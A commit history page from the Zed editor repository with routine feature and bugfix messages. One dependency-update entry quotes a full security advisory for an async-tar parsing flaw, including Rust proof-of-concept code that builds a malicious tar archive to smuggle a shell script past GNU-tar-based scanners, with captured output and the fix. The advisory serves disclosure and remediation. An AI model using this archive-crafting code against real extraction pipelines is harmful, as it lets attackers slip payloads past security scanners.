fbda4f862a2fb03b854636b17bd04be3db3d94de
39175
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
0162e0ce7c |
workspace: Add ToggleEditorZoom action to maximize active pane (#53911)
VS Code has a command called "Toggle Maximize Editor Group" (`Cmd+K Cmd+M`) that expands the active editor pane to fill the entire center area, hiding editor split panes, but leaving docks and panels visible. Zed's existing `ToggleZoom` hides all panels and is closer to VS Code's Zen Mode. VS Code has both — it would be useful for Zed to as well. This is particularly useful for people working on laptops, and has been raised before (#32715, #4897, #32860), but the addition of the project panel alongside the agent panel has made it more relevant. I work with the editor split vertically, but with the project and agent panels both visible, on a laptop screen there's really only room for a single editor pane. This command makes it easy to switch to and from that mode. **Behavior:** - New action: `workspace::ToggleEditorZoom` - When activated, the active editor pane expands to fill 100% of the center/editor area, hiding sibling split panes - Docks and panels remain visible and unaffected - Toggling again restores the previous split layout - If `ToggleZoom` is active, it unzooms first, then maximizes Here's a demo: https://github.com/user-attachments/assets/fcf6748e-6c45-4c4a-8d9f-f106c6cd58ea Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Closes #32715 Release Notes: - Added `workspace::ToggleEditorZoom` action to maximize the active editor pane within the center area while keeping panels visible. |
||
|
|
3cca0b3f14 |
Show both local and remote checkouts in Recent Projects (#53953)
This fixes #53917. Recent Projects was treating local and remote workspaces as the same entry whenever they resolved to the same checkout path. That meant one could hide the other, and if one of them was already open, the picker could end up hiding both. This change keeps the deduplication and picker filtering keyed on both the workspace location and the path list, so local and remote copies of the same repo can both appear when they should. ## Test plan - `rustfmt --edition 2024 crates/recent_projects/src/recent_projects.rs crates/workspace/src/persistence.rs` - `git diff --check -- crates/recent_projects/src/recent_projects.rs crates/workspace/src/persistence.rs` Release Notes: - Fixed Recent Projects hiding either the local or remote workspace when both used the same checkout path. Co-authored-by: Mikayla Maki <mikayla.c.maki@gmail.com> |
||
|
|
0188a3a952 |
Surface the git graph context menu in the git panel's history tab (#60713)
This PR refactors the Git Graph’s commit context menu into its own file so it can be reused by both the Git Graph and the Git panel’s History tab. <img width="511" height="566" alt="SCR-20260709-qlxt" src="https://github.com/user-attachments/assets/8f18f22b-21d7-46a0-8ce2-183cf4af86c9" /> Also, includes a "Show in Git Graph" option only shown in the history tab's context menu: https://github.com/user-attachments/assets/2e30648b-2802-4caa-a99e-2d135e2dc539 Release Notes: - Surfaced the git graph context menu in the git panel's history tab. |
||
|
|
27095fe544 |
git_ui: Improve the staged & unstaged grouping in the git panel (#60976)
Follow up to https://github.com/zed-industries/zed/pull/59884 This PR refines how the git panel behaves when grouping changes by staging state, with a focus on making staging workflows predictable and conflict resolution safe. - Renamed the "Group By" menu options to describe what you actually see: **"Tracked & Untracked"** (was "Status") and **"Staged & Unstaged"** (was "Staging"). - When grouping by staged & unstaged, both sections now stay visible even when empty, showing a placeholder message ("No staged changes yet" / "No unstaged changes"). Previously an empty section disappeared entirely, which made the panel layout jump around as you staged and unstaged files, and made it harder to tell at a glance that nothing was staged yet. - Section header controls are now consistent checkboxes everywhere (previously a mix of checkboxes and +/− icon buttons), with "Stage All" / "Unstage All" tooltips. Headers of empty sections render no checkbox and don't react to clicks or hover. I appreciate the debate that happened in the PR linked above about this but I was personally having a hard time understanding what was the difference in interaction given the action was exactly the same, we were just having different UIs, which looked inconsistent. - Arrow-key navigation now skips over section headers and empty-section placeholder rows in both flat and tree view, instead of getting stuck or selecting non-interactive rows — including when jumping to the first or last entry. - In the staged & unstaged grouping, a partially staged file appears in both sections. Each row's checkbox and tooltip now follow the section it's rendered in: rows in Staged always unstage, rows in Unstaged always stage — including via shift-click range operations, which now also support bulk *unstaging* within the Staged section (previously ranges could only stage). The context menu's Stage/Unstage label follows the same rule and stays in sync with in-flight staging operations. - Conflicted files are grouped by whether the current merge marked them conflicted (rather than raw status), so a conflict you've resolved stays visible under "Conflicts" until the merge concludes. On top of that, resolution is now one-way in the UI: - Ticking a conflicted file's checkbox marks it resolved (stages it). Once resolved, the checkbox is disabled with a "Conflict marked as resolved" tooltip — unticking it would silently discard git's record of the unmerged base/ours/theirs versions, a round-trip git can't actually perform. - The same lock applies everywhere the file can be reached: the keyboard toggle, folder checkboxes in tree view, the Conflicts section header (disabled once all conflicts are resolved), "Stage All"/"Unstage All" on the Staged/Unstaged headers, and shift-click range sweeps — none of them will resolve or un-resolve a conflict as a side effect. - The explicit `git: unstage file` action still works as a deliberate escape hatch. --- Here's a video, where you can see I stage and unstage whole files, make a partial staging, and get into a merge-conflict state, where the conflicted files are tagged as resolved: https://github.com/user-attachments/assets/d27ef9c6-5691-45c1-91ab-c3b152aaaa60 --- Release Notes: - N/A _(given the feature hasn't been released yet_) |
||
|
|
c2ae4dfbcb |
pickers: Remove picker::ToMultiBuffer action we did not land (#60979)
Missed this when shipping the pickers. The feature is still planned and tracked in the tracking issue. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - N/A |
||
|
|
19d2b88762 |
settings_content: Fix globally excluded language servers starting (#60984)
Closes https://github.com/zed-industries/zed/issues/60763 Follow-up to #60000. Global language server exclusions were added to per-language settings without removing an explicit enable for the same server, allowing it to still start. For example, this setting should disable `vtsls` for every language: ```json { "language_servers": ["!vtsls", "..."] } ``` However, TypeScript’s default configuration explicitly enables `vtsls`, causing it to still start. Release Notes: - Fixed language servers starting despite being disabled globally. |
||
|
|
89f41661ff |
Properly notify on inline diagnostics toggle (#60978)
Closes https://github.com/zed-industries/zed/issues/60959 Release Notes: - Fixed inline diagnostics not instantly [dis]appearing after toggling |
||
|
|
dd5f651227 |
Use more efficient thread pool API on Windows (#60917)
This interface uses fewer syscalls and has less internal synchronization (since the `TP_WORK` object is not exposed). Release Notes: - N/A |
||
|
|
084cf7b50f |
Update Rust crate async-tar to 0.6.0 [SECURITY] (#60623)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [async-tar](https://redirect.github.com/dignifiedquire/async-tar) | workspace.dependencies | minor | `0.5.1` → `0.6.0` | --- > [!WARNING] > Some dependencies could not be looked up. Check the [Dependency Dashboard](../issues/15138) for more information. --- ### async-tar PAX extension-header desync enables tar entry/content smuggling [CVE-2026-53600](https://nvd.nist.gov/vuln/detail/CVE-2026-53600) / [GHSA-35rm-7j9c-2f7m](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m) <details> <summary>More information</summary> #### Details ##### Summary `async-tar` v0.6.0 mis-applies a buffered PAX `size` extension to an intermediary extension header (a GNU longname `L`, a GNU longlink `K`, or a PAX `x`/`g` header) instead of to the next *file* entry. POSIX requires a PAX extended-header record set to describe the next file entry, never an intervening extension header. Because `poll_next_raw` (`src/archive.rs`) threads the buffered PAX records into the size computation of whatever raw header it reads next — and that header can be an intermediary `L` — the stream cursor is advanced by an attacker-chosen amount when the `L` body is consumed. The parser then desyncs relative to a POSIX-correct tar parser (e.g. GNU tar), reading subsequent bytes at the wrong block boundary. An attacker who can influence a tar stream that an `async-tar` consumer extracts can construct an `x → L → file` sequence whose entry list and on-disk result differ between `async-tar` and a reference parser. This enables content/entry smuggling: a file that a GNU-tar-based scanner/validator/AV sees as benign opaque data is extracted by `async-tar` as a different file with different bytes (e.g. an executable script), and vice versa. Type confusion / improper validation of the specified quantity (size). CWE-20, CWE-843. Severity assessed Medium, consistent with the same defect class in the upstream tar-rs / tokio-tar lineage. ##### Affected code Package: `async-tar` (crates.io). Affected version: **0.6.0** (latest release) and current `main` HEAD. Both lack the extension-header guard. `src/archive.rs`, `poll_next_raw` (line numbers from the v0.6.0 tag, commit `45814b19295b7398e119c90c57d8c8bf70a798b6`): ```rust let file_pos = *next; let mut header = current_header.take().unwrap(); // when pax extensions are available, the size should come from there. let mut size = header.entry_size()?; // the size above will be overriden by the pax data if it has a size field. // same for uid and gid, which will be overridden in the header itself. if let Some(pax_extensions_data) = pax_extensions_data { // <-- no is_extension_header guard let pax = pax_extensions(pax_extensions_data); for extension in pax { let extension = extension.map_err(|_e| other("pax extensions invalid"))?; let Some(key) = extension.key().ok() else { continue }; match key { "size" => { let size_str = extension.value() .map_err(|_e| other("failed to parse pax size as string"))?; size = size_str.parse::<u64>() .map_err(|_e| other("failed to parse pax size"))?; } "uid" => { let v = extension.value().unwrap(); header.set_uid(v.parse().unwrap()); } "gid" => { let v = extension.value().unwrap(); header.set_gid(v.parse().unwrap()); } _ => { continue } } } } let data = EntryIo::Data(archive.clone().take(size)); // body length = mis-applied PAX size ``` and a few lines further down the same function: ```rust // Store where the next entry is, rounding up by 512 bytes. let size = (size + 511) & !(512 - 1); *next += size; // cursor advance = mis-applied PAX size ``` The caller loop in `src/archive.rs` (`Entries::poll_next`) buffers a PAX local extension into `current_pax_extensions` and then calls `poll_next_raw` with `current_pax_extensions.as_deref()` for the *next* raw header. When that next raw header is an intermediary GNU longname (handled by the `is_gnu_longname()` branch a few lines later), the PAX `size` is applied to it, so `*next` advances by the spoofed size rather than the `L` header's own declared size. That is the desync. The buffered PAX records are intended to apply only to the following *file* entry; the missing check is whether the raw header currently being sized is itself an extension header (`L`/`K`/`x`/`g`). ##### Impact Differential extraction / entry smuggling. A consumer that extracts an attacker-influenced tar stream with `async-tar` (e.g. a server endpoint that unpacks an uploaded `.tar`/`.tar.gz`, a dependency/artifact fetcher that unpacks a remote tarball, an archive-preview/scan pipeline) will: - materialize files / file contents that a POSIX-correct parser (GNU tar, libarchive/bsdtar) does not surface, and - omit or alter files that the reference parser does surface. This breaks any security control that relies on scanning the archive with one parser and extracting with `async-tar`: a malware/secret scanner reading the stream with GNU tar can be made to see only benign data while `async-tar` writes an executable payload to disk. It can also be used to hide entries from audit/inventory tooling, or to write content to a path the reviewer believes holds something else. No attacker-controlled local state is required — only the ability to influence the bytes of the tar stream that the consumer extracts. ##### How input reaches the sink (reachability) The vulnerable path is the library's primary public API for reading archives: `Archive::new(reader).entries()` returns an `Entries` stream whose `poll_next` drives `poll_next_raw` for every header. Any consumer that iterates entries (or calls `unpack`/`unpack_in` on them) of an attacker-influenced tar stream reaches the sink with no additional configuration. The `reader` need not be a file — it is any `AsyncRead`, so an upload buffer, an HTTP response body, or a decompressor output all qualify. The only precondition for the desync is that the stream contain a PAX local-extension header (`x`) carrying a `size` record immediately followed by an intermediary GNU longname (`L`) before the next file header — a structure the attacker fully controls in the archive bytes. Representative reachable consumers are server endpoints that unpack uploaded `.tar`/`.tar.gz` bodies, dependency/artifact fetchers that unpack remote tarballs, and archive-scan/preview pipelines. ##### Proof of concept A standalone Rust consumer binary that links the published crates.io `async-tar = "=0.6.0"` (`default-features = false, features = ["runtime-tokio"]`) and runs the real `Archive::new(...).entries()` extraction loop (the same shape used by real downstream server consumers that unpack uploaded tarballs). It reads a tar file and writes each entry to a destination directory, printing the entry list `async-tar` surfaces. A second binary hand-crafts the malicious and benign tar byte streams. Malicious archive geometry (block = 512 bytes): ``` B0 x PAX local-extension header, records declare size=1024 (= 2 blocks) B1 PAX records ("<len> size=1024\n") B2 L GNU longname header, OWN declared size = 512 (= 1 block) B3 longname block #​1 = "GNU_SEES_THIS.txt\0..." (the name GNU tar uses) B4 a normal file header "placeholder_A" (size 512) B5 <-- this block IS a valid tar header for the smuggled file "hidden_payload.sh" (size 65) B6 smuggled payload "#!/bin/sh\n# SMUGGLED ENTRY...\n" B7,B8 two zero blocks (EOF) ``` GNU tar honours the `L` header's own declared size (1 block) for the longname and ignores the buffered PAX `size`, so it reads B3 as the longname, treats B4 as the file, and reads B5 as that file's opaque data. `async-tar` mis-applies the PAX `size` (2 blocks) to the `L` header, reads B3+B4 as the longname, lands its cursor on B5, parses it as a tar header, and extracts the smuggled `hidden_payload.sh` body (B6). Tar-builder source (`mktar.rs`): ```rust use std::io::Write; const BLOCK: usize = 512; fn octal(buf: &mut [u8], v: u64) { let s = format!("{:0width$o}", v, width = buf.len() - 1); let b = s.as_bytes(); buf[..b.len()].copy_from_slice(b); buf[b.len()] = 0; } fn header(name: &[u8], size: u64, typeflag: u8) -> [u8; BLOCK] { let mut h = [0u8; BLOCK]; let n = name.len().min(100); h[..n].copy_from_slice(&name[..n]); octal(&mut h[100..108], 0o644); octal(&mut h[108..116], 0); octal(&mut h[116..124], 0); octal(&mut h[124..136], size); octal(&mut h[136..148], 0); h[156] = typeflag; if typeflag == b'L' { h[257..265].copy_from_slice(b"ustar \0"); } else { h[257..263].copy_from_slice(b"ustar\0"); h[263..265].copy_from_slice(b"00"); } for b in &mut h[148..156] { *b = b' '; } let sum: u32 = h.iter().map(|b| *b as u32).sum(); h[148..156].copy_from_slice(format!("{:06o}\0 ", sum).as_bytes()); h } fn pad(out: &mut Vec<u8>, len: usize) { let rem = len % BLOCK; if rem != 0 { out.extend(std::iter::repeat(0u8).take(BLOCK - rem)); } } fn pax_record(key: &str, val: &str) -> Vec<u8> { let mut len = key.len() + val.len() + 3; loop { let s = format!("{} {}={}\n", len, key, val); if s.len() == len { return s.into_bytes(); } len = s.len(); } } fn name_block(name: &[u8]) -> Vec<u8> { let mut b = vec![0u8; BLOCK]; b[..name.len()].copy_from_slice(name); b } fn write_block(out: &mut Vec<u8>, data: &[u8]) { out.extend_from_slice(data); pad(out, data.len()); } fn build_malicious() -> Vec<u8> { let mut out = Vec::new(); let gnu_name = b"GNU_SEES_THIS.txt"; let spoof = (BLOCK * 2) as u64; let mut recs = Vec::new(); recs.extend(pax_record("size", &spoof.to_string())); out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x')); write_block(&mut out, &recs); out.extend_from_slice(&header(b"././@​LongLink", BLOCK as u64, b'L')); out.extend_from_slice(&name_block(gnu_name)); // B3 out.extend_from_slice(&header(b"placeholder_A", BLOCK as u64, b'0')); // B4 let smuggled_body = b"#!/bin/sh\n# SMUGGLED ENTRY: invisible to a GNU-tar-based scanner\n".to_vec(); out.extend_from_slice(&header(b"hidden_payload.sh", smuggled_body.len() as u64, b'0')); // B5 write_block(&mut out, &smuggled_body); // B6 out.extend(std::iter::repeat(0u8).take(BLOCK * 2)); out } fn build_benign() -> Vec<u8> { let mut out = Vec::new(); let mut recs = Vec::new(); recs.extend(pax_record("path", "normal_file.txt")); out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x')); write_block(&mut out, &recs); let body = b"plain benign content\n".to_vec(); out.extend_from_slice(&header(b"normal_file.txt", body.len() as u64, b'0')); write_block(&mut out, &body); let body2 = b"second benign file\n".to_vec(); out.extend_from_slice(&header(b"second.txt", body2.len() as u64, b'0')); write_block(&mut out, &body2); out.extend(std::iter::repeat(0u8).take(BLOCK * 2)); out } fn main() { let a: Vec<String> = std::env::args().collect(); let bytes = match a[1].as_str() { "malicious" => build_malicious(), "benign" => build_benign(), _ => std::process::exit(2) }; std::fs::File::create(&a[2]).unwrap().write_all(&bytes).unwrap(); } ``` Consumer source (`main.rs`, mirrors a real `Archive::entries()` extraction loop): ```rust use async_tar::Archive; use tokio::fs; use tokio::io::AsyncReadExt; use tokio_stream::StreamExt; #[tokio::main(flavor = "multi_thread", worker_threads = 2)] async fn main() { let args: Vec<String> = std::env::args().collect(); let dest = std::path::PathBuf::from(&args[2]); fs::create_dir_all(&dest).await.unwrap(); let bytes = fs::read(&args[1]).await.unwrap(); let archive = Archive::new(std::io::Cursor::new(bytes)); let mut entries = archive.entries().expect("entries()"); let mut idx = 0usize; while let Some(entry) = entries.next().await { let mut file = match entry { Ok(f) => f, Err(e) => { println!("[async-tar] ERROR: {e}"); break } }; let path_raw = file.path().expect("path").into_owned(); let path_disp = path_raw.to_string_lossy().split('\u{0}').next().unwrap_or("").to_string(); let hdr_size = file.header().size().unwrap_or(0); let mut out = dest.clone(); for comp in std::path::PathBuf::from(&path_disp).components() { if let std::path::Component::Normal(p) = comp { out.push(p); } } let mut body = Vec::new(); let read = file.read_to_end(&mut body).await.unwrap_or(0); if let Some(parent) = out.parent() { let _ = fs::create_dir_all(parent).await; } let _ = fs::write(&out, &body).await; let preview: String = body.iter().take(48) .map(|b| if b.is_ascii_graphic() || *b == b' ' { *b as char } else { '.' }).collect(); println!("[async-tar] entry#{idx} path={:?} hdr_size={hdr_size} bytes_read={read} body=\"{preview}\"", path_disp); idx += 1; } println!("[async-tar] total entries surfaced: {idx}"); } ``` `Cargo.toml`: ```toml [dependencies] async-tar = { version = "=0.6.0", default-features = false, features = ["runtime-tokio"] } tokio = { version = "1", features = ["rt-multi-thread", "macros", "io-util", "fs"] } tokio-stream = "0.1" futures = "0.3" ``` ##### End-to-end reproduction Reference parser: GNU tar 1.35. async-tar: the v0.6.0 crates.io release linked by the consumer binary above. Verbatim captured output: ``` $ cargo build --release # links async-tar v0.6.0 from crates.io Compiling async-tar v0.6.0 Compiling async-tar-consumer v0.1.0 Finished `release` profile [optimized] target(s) in 10.12s $ ./target/release/mktar malicious mal.tar wrote 4608 bytes to mal.tar ##### ---- (A) GNU tar reference: list + extract ---- $ gtar tvf mal.tar ; echo "rc=$?" -rw-r--r-- 0/0 1024 1970-01-01 08:00 GNU_SEES_THIS.txt rc=0 $ gtar xf mal.tar -C /tmp/gnu_x ; echo "rc=$?" rc=0 $ head -c 80 /tmp/gnu_x/GNU_SEES_THIS.txt hidden_payload.sh ##### (GNU tar surfaces ONE file, 1024 bytes; its data is the opaque tar-header ##### bytes of B5 — a GNU-tar-based scanner sees only benign noise.) ##### ---- (B) async-tar v0.6.0 consumer: extract ---- $ ./target/release/extract mal.tar /tmp/at_mal [async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=65 bytes_read=1024 body="#!/bin/sh.# SMUGGLED ENTRY: invisible to a GNU-t" [async-tar] total entries surfaced: 1 $ head -c 80 /tmp/at_mal/GNU_SEES_THIS.txt #!/bin/sh ##### SMUGGLED ENTRY: invisible to a GNU-tar-based scanner ``` Same bytes, two parsers, different on-disk result: GNU tar writes a 1024-byte benign blob; `async-tar` writes a 65-byte executable shell script that the reference parser never exposes as an entry. The smuggled `#!/bin/sh` body is content a GNU-tar-based scanner would never inspect. Negative control — a benign archive (correct PAX usage: `x` applies `path` to the following file, no intermediary `L`): ``` $ ./target/release/mktar benign ben.tar $ gtar tvf ben.tar ; echo "rc=$?" -rw-r--r-- 0/0 21 1970-01-01 08:00 normal_file.txt -rw-r--r-- 0/0 19 1970-01-01 08:00 second.txt rc=0 $ ./target/release/extract ben.tar /tmp/at_ben [async-tar] entry#0 path="normal_file.txt" hdr_size=21 bytes_read=21 body="plain benign content." [async-tar] entry#1 path="second.txt" hdr_size=19 bytes_read=19 body="second benign file." [async-tar] total entries surfaced: 2 ``` GNU tar and `async-tar` produce identical entry lists and identical on-disk files. No smuggling. The differential is exclusive to the `x → L → file` desync sequence. ##### Fix Apply the buffered PAX records (and the `size`/`uid`/`gid` overrides) only when the raw header being sized is NOT itself an extension header. Skip the override for GNU longname (`L`), GNU longlink (`K`), and PAX local/global (`x`/`g`) headers, whose body length must come from their own declared size. This mirrors the fix adopted in the upstream tar-rs / tokio-tar lineage for the same defect class. ```rust // when pax extensions are available, the size should come from there. let mut size = header.entry_size()?; // PAX extensions describe the NEXT file entry, not an intermediary // extension header. Applying a buffered PAX `size` to such an intermediary // header (L/K/x/g) advances the stream cursor by the wrong amount and // desyncs the parse. let entry_type = header.entry_type(); let is_extension_header = entry_type.is_gnu_longname() || entry_type.is_gnu_longlink() || entry_type.is_pax_local_extensions() || entry_type.is_pax_global_extensions(); // the size above will be overriden by the pax data if it has a size field. // same for uid and gid, which will be overridden in the header itself. if let Some(pax_extensions_data) = pax_extensions_data.filter(|_| !is_extension_header) { let pax = pax_extensions(pax_extensions_data); for extension in pax { // unchanged: same size/uid/gid override loop as before } } ``` Fix-verify, captured verbatim. The patched `async-tar` (guard added) re-run against the same `mal.tar`: ``` $ cargo build --release # [patch.crates-io] async-tar = { path = "../async-tar-patched" } Compiling async-tar v0.6.0 (.../async-tar-patched) Compiling async-tar-consumer v0.1.0 Finished `release` profile [optimized] target(s) $ ./target/release/extract mal.tar /tmp/at_fix [async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=512 bytes_read=1024 body="hidden_payload.sh..............................." [async-tar] total entries surfaced: 1 $ head -c 80 /tmp/at_fix/GNU_SEES_THIS.txt hidden_payload.sh ``` With the guard, `async-tar`'s view converges with GNU tar's: it surfaces `GNU_SEES_THIS.txt` with the opaque B5 bytes (`hidden_payload.sh...`) as data, and no longer extracts the smuggled executable script. The benign control still produces the correct two-file output. The desync is eliminated. ##### Fix PR A fix PR adding the `is_extension_header` guard to `poll_next_raw` in `src/archive.rs` is opened from the advisory's temporary private fork against this repository. It carries the diff shown in the **Fix** section above (no behavioural change for well-formed archives; only intermediary `L`/`K`/`x`/`g` headers stop inheriting a following PAX `size`). ##### Credit Reported by tonghuaroot. #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m](https://redirect.github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m) - [https://github.com/advisories/GHSA-35rm-7j9c-2f7m](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>dignifiedquire/async-tar (async-tar)</summary> ### [`v0.6.1`](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.6.0...v0.6.1) [Compare Source](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.6.0...v0.6.1) ### [`v0.6.0`](https://redirect.github.com/dignifiedquire/async-tar/releases/tag/v0.6.0): - Tokio Support [Compare Source](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.5.1...v0.6.0) </details> --- ### Configuration 📅 **Schedule**: (in timezone America/New_York) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- Release Notes: - N/A <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNDIuMiIsInVwZGF0ZWRJblZlciI6IjQzLjI0Mi4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119--> --------- Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Kirill Bulatov <kirill@zed.dev> |
||
|
|
75aeecfbf3 |
agent: Show title generation error in tooltip (#60982)
Closes #57117 <img width="305" height="84" alt="image" src="https://github.com/user-attachments/assets/5626040c-5c3f-4f3f-8931-31331406015e" /> Release Notes: - agent: Show actual error message when title generation fails --------- Co-authored-by: Martin Ye <martin@zed.dev> |
||
|
|
b4018f4c7e |
Open gitignored subdirectories as their own workspace (#60918)
# Objective Let's git ignored directories be opened as their own project ## Solution - Add an "ignored dir" carve out when checking project collision ## Testing - Added tests ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [-] Unsafe blocks (if any) have justifying comments - [-] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [-] Performance impact has been considered and is acceptable --- Release Notes: - |
||
|
|
fbe484282d |
agent: Sandbox DNS rebinding and redirect cleanup (#60941)
Tidies up the host resolution code a bit and closes some small gaps --- Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
5cc3fbcb12 |
Fix project panel follow focus issues (#60974)
Closes https://github.com/zed-industries/zed/issues/60939 Closes https://github.com/zed-industries/zed/issues/60940 Release Notes: - Fixed focus follows mouse in project panel's blank space |
||
|
|
f2c6ebf1e5 |
Allow configuring adaptive thinking for Anthropic available_models (#57207)
Split off from #57105 per @maxdeviant's review. `language_model_core::ModelMode` previously had only `Default` and `Thinking` variants. As a result, `available_model_to_anthropic_model` in the Anthropic provider had a dead branch for `AdaptiveThinking` that was never reachable from settings, and users manually configuring Claude models via `available_models` could only toggle extended thinking on/off — they could not opt into adaptive thinking and its low/medium/high/xhigh/max effort selector. This matters most for users on third-party Anthropic-compatible proxies, where the `/v1/models` endpoint may not report a `capabilities` block, leaving `available_models` as the only path to enable adaptive thinking. Add an `Adaptive` variant to `ModelMode` and map it to `AnthropicModelMode::AdaptiveThinking` in the Anthropic provider's settings conversion. Users can now write: ```json { "language_models": { "anthropic": { "available_models": [ { "name": "claude-opus-4-7", "display_name": "Claude Opus 4.7", "max_tokens": 1000000, "max_output_tokens": 128000, "mode": { "type": "adaptive" } } ] } } } ``` and get the full adaptive-thinking UX in the agent panel. ### Impact on other providers `ModelMode` is re-exported by Google (`GoogleModelMode`) and OpenRouter. Both already use non-exhaustive `matches!` checks for `Thinking`, so the new variant naturally falls through to "no thinking" without compile breakage. Bedrock defines its own local `ModelMode` enum and is unaffected. `cargo check --workspace --all-targets` passes. ### Tests Three new tests in `crates/language_models/src/provider/anthropic.rs` covering Adaptive / Thinking / Default settings → model mapping: - `cargo test -p language_models --lib provider::anthropic::`: 3/3 passing. - `./script/clippy --package language_models --package language_model_core`: clean. Release Notes: - agent: Added support for `"mode": { "type": "adaptive" }` for custom anthropic to enable adaptive thinking --------- Co-authored-by: Bennet Bo Fenner <bennetbo@gmx.de> |
||
|
|
4896f7f10c |
Thin out unnecessary dependencies from core crates (#60977)
Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
2adb49ea16 |
Disable all spinners in Zed (#60614)
Closes https://github.com/zed-industries/zed/pull/48577 Part of https://github.com/zed-industries/zed/issues/8043 See https://zed-industries.slack.com/archives/C07NUKHLVUZ/p1783335475957139 for context. Release Notes: - Allow to reduce animations with `"reduce_motion": "on"` settings |
||
|
|
928a074dc7 |
Fix gentoo cmake package name (#60930)
script/linux tried to install dev-util/cmake, which is not the correct package name, so the script fails. Changing it to dev-build/cmake fixes this. Release Notes: - N/A |
||
|
|
440affd443 |
languages: Pin TypeScript to 6.x for typescript-language-server (#60970)
Closes https://github.com/zed-industries/zed/issues/60618 TypeScript 7 no longer ships `tsserver.js`, which `typescript-language-server` depends on. This PR does two things: 1. Pins the `typescript` package Zed auto-installs for `typescript-language-server` to `^6`. For projects without their own TypeScript in `node_modules` (which rely on the copy Zed installs), an existing 7.x install gets downgraded to the latest 6.x, making the server usable again. 2. Only hands the workspace's TypeScript to the server as a tsdk when it actually contains `tsserver.js`, falling back to Zed's installed 6.x otherwise. So if you upgraded your project to TypeScript 7, the language server won't break. It keeps working against the 6.x TypeScript Zed ships. Note that vtsls, the default TypeScript language server, is unaffected by the TypeScript 7 release. It bundles its own compatible TypeScript. See #60951 for details. This PR only affects users who have manually configured `typescript-language-server` as their language server. Release Notes: - Fixed `typescript-language-server` breaking after the TypeScript 7 release. For projects that have upgraded to TypeScript 7, install the `tsgo` extension to use TypeScript's native language server. |
||
|
|
e46729d1d8 |
vtsls: Remove redundant TypeScript installation (#60951)
Context: While looking at #60618, I found out the TypeScript 7 upgrade only breaks the `typescript-language-server` adapter, not the default vtsls adapter. After digging in, it turns out the initial vtsls implementation in #12606 followed the same two-package installation pattern as the `typescript-language-server` adapter: it installed both `@vtsls/language-server` and the latest `typescript`. However, vtsls already bundles a compatible TypeScript version via `@vtsls/language-service` and uses it whenever a workspace SDK is unavailable. I also cross-checked an intermediate vtsls upgrade issue, #18349, where we used the installed TypeScript version to decide whether both packages needed updating, so a new vtsls release could go uninstalled when TypeScript hadn't changed. #20197 fixed that by checking both packages independently, but kept the unnecessary standalone TypeScript installation. Changes: This PR removes that redundant installation and version tracking from the vtsls adapter. Zed now tracks only `@vtsls/language-server` and relies on its declared TypeScript dependency. Workspace TypeScript and Yarn SDK detection remain unchanged, so vtsls still uses a workspace SDK when one is available and otherwise falls back to its bundled version. As for the consequence of this change: 1. New users are not affected since npm installs vtsls's own pinned TypeScript dependency anyway. 2. For existing users, the previously installed standalone `typescript` was never resolvable by vtsls (its pinned version gets installed nested when the versions conflict), so leaving it there is harmless. To verify the standalone copy was really unused, I nuked the vtsls dir and ran main (without this fix), which installed both the top-level `typescript@7.0.2` and vtsls's own pinned `typescript@5.9.3` nested under `@vtsls/language-service`. Node's module resolution shows vtsls can only ever see the nested copy as well as the LSP logs from the running server shows, all lib definition locations point at the nested copy: ``` "uri": "file:///.../vtsls/node_modules/@vtsls/language-service/node_modules/typescript/lib/lib.es5.d.ts" ``` I also tested this branch with a fresh install TypeScript files work the same as before. Release Notes: - N/A |
||
|
|
9a7d33a52f |
gpui_linux: split xkbcommon wayland/x11 features (#60834)
